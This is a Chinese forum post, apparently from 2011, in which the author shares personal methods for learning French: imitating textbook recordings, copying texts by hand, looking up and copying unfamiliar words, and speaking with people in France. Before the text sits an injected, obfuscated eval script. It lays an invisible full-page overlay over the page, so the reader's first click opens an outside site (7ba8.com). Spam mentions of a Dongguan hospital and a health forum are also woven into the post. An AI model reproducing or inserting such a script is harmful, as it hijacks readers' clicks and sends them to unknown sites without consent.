<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script> 很久以前,就曾经答应一个东莞妇科医院上班的同学把当年开始学法语时的经验教训整理一下,如果再不整理的话,可能我就要食言而肥了,为了顺应潮流保持身材,我就好好勉励一下自己完成了这个艰巨的任务吧。 其实,也不光是为了实现诺言的原因,还有就是自己的英语实在不怎么样,要是拿出学法语时的一半功夫,也会获得长足的长进的。整理一下,也是为了让自己的英语学习有法可依。 我认为,无论学习什么,都是有捷径的,这里的捷径便是对自己而讲最佳的学习方法。语言学习的捷径也是有的,至少我的方法对我自己来说一直很有效,也让我的法语学习获得了骄人的成绩。也许这些方法可能不会适用于所有人,所以希望能起到些许抛砖引玉之效吧。不过,就算有捷径,任何学习也绝不是可以一蹴而就的,勤与恒永远都是书山学海里最值得拥有的助力。 初学法语,那就不可能不跟着老师,我可以说,也许认真听一两节课你不会比别人多获得什么,但如果你可以从始至终积极跟随课堂,那么你的法语一定会获得长足的长进。尤其当你的老师都是法国人的时候。(不过也不要在课堂上争风头,毕竟老师不是只给你一个人上课) 一种语言最重要的目的就是交流,对于留学生,口语交流更是重中之重。口语交流有两个方面,口语表达和口语理解,也就是平时所说的口语和听力。其实,只要口语好了,那么听力水准自然就会好了。口语的训练是很简单的,第一个方法,就是找来课本翻到最近几天接触过的或者要接触的课文,打开录音,一个句子一个句子地跟读一下,注意完全模仿录音里的节奏、重音之类,之后可以试着在不听录音的情况下再读读看;第二个方法就是找本法国人写的简易语法教材——比如上海译文的《法语新实用语法》,选择这本书,一是里面的内容有录音,二是深入浅出易于理解,但对于日常口语接触到的语法点,绝对是有过之而无不及的——然后把里面有知识点的句子抄下来,找个没人的地方,每句大声地连读带背合计一百遍就行了,比如QuellongvêtementavecdegrandesmanchesportaientlesJaponaisdansl'ancientemps就很不错。语法只是一种习惯,当你习惯了,那就无需再学语法了。 第二种交流是书面交流,和口语交流类似,也有书面表达和书面理解之分,也就是写作和阅读。同样,如果写得好了,那么读起来自然不会有太大问题。初期的时候联系写作实力,最好的方法就是抄课文了。当然,要艺术一些——用一种既快速又漂亮的字体来抄写课文,写得要整齐而雅观,每一页拿出来都像一件小小的艺术品,就像外国电影里出现的花体信件一样。还有,每抄完一句就小声读一遍,并要理解。慢慢地,你就会发现抄课文也是一种能获得成就感的享受。不要觉得累,这些课文我们仅仅抄一两遍罢了,可能这样一说你还觉得是浩大的工程,那么想一想编者吧——他们删改编撰要花的力气更大。 以上就是所谓的“会说便会听,会写便会读”。另外,较大的单词量也是语言学习中极为关键的一点。 我是从来不主动背单词的,所以我记单词的方法也有些特别。对于课文,我会通篇读完,碰到不认识或者不确定的单词就划下来,等文章读完后再拿词典查一下,这里的中文译文只选课文里的意思就可以了。然后每个词用法语抄上两三遍,中文抄一遍,抄的时候可以一边读读。记没记住不用管,下次还不会就再划再查再抄再读,总有一天会记住的。对于其他地方碰到的生词也按照这个方法处理就行。时间久了,一个生词就算你不按照这样的方法处理,在不经意间听上两三次你也会记住的。 以上几点都是在国内学习时就可以做到的,不过要想真的了解一门语言,还是要到说那门语言的国家才可以。做到以上的几点,把底子打厚了,那么你就会发现来到外国你可以听懂别人的话,也可以让别人听懂你的话。开始的时候这很重要,因为一旦开始顺利了,那么以后就会更顺利。 不要畏惧与人讲话,开口说就是了,这是一种锻炼。你想想,如果在中国有外国人对你说中文,那么你会是什么态度呢,法国人也是一样的,法国人(特别是老奶奶)大多都是很友善的,也很有耐心。还有,哪怕刚到法国,也可以找个和蔼可亲的人问问自己的法语怎么样,这是给自己建立信心的方法——想想如果有个中文说的还可以的人向你问他的中文如何,你会怎样回答,这还是一样的道理。再有,可以多自己跑前跑后办点事,虽然习惯了之后回头看不算什么,但是在至少在刚开始的时候还是会很有成就感的。而且可以很有效地增强自己的信心。可以放心的是,法国人大多都是很友善的,也很有耐心。 最后再加上几点小的:人要想每一样都变得很强是不可能的,如果有专门学习法语的时间,那就只把心思放在法语上吧,以后虽然会在生活中进步,但是好的底子还是很重要的;或许要放弃很多玩的时间,你可以选择无忧无虑地玩,代价就是是法语进步的缓慢;过程还是要循序渐进的,与其直接开始听法国电台的广播内容,不如把教材的录音多听听;中文里朗读和日常说话不一样,法语也是如此,日常口语和我们刚开始学的也是不一样的,至于日常生活发音(包括很多省音),那还是等到了法国之后再慢慢了解吧,一两句话也不好解释;在单独练习听力的时候,听录音不要看书上的话,然后试着从宏观的角度去理解所有内容;如果你的法语听力口语够好,进入专业的第一天你才可能与同学聊天,才可能听懂课,才可能融入你的班级,这很重要,不然你可能被同学孤立,学业也越落越远。 Ps. 为了找以前不经意写下的关于法语学习的心得,翻看了不少曾经的日志,里面的事都忘记了好多,就好像是别人的故事一样。正好借了这个机会看看以前的自己。更多问题请到健康论坛讨论。可惜耐心有限,为了好好把这篇文章写出来,并没有把日志全看完,甚至有不少看了的也只是在里面扫一眼有无关于法语学习的。 突然想起一句“人之患在好为人师”,人外有人,我这也不过是些闭门超车来的小小心得罢了,有贻笑大方之处还请不要怪罪。也还望大家可以多多指教,帮我指出各种不足之处,也让我分享一些更好的经验和方法。
[ 本帖最后由 sxhy987 于 2011-4-15 16:19 编辑 ] |
|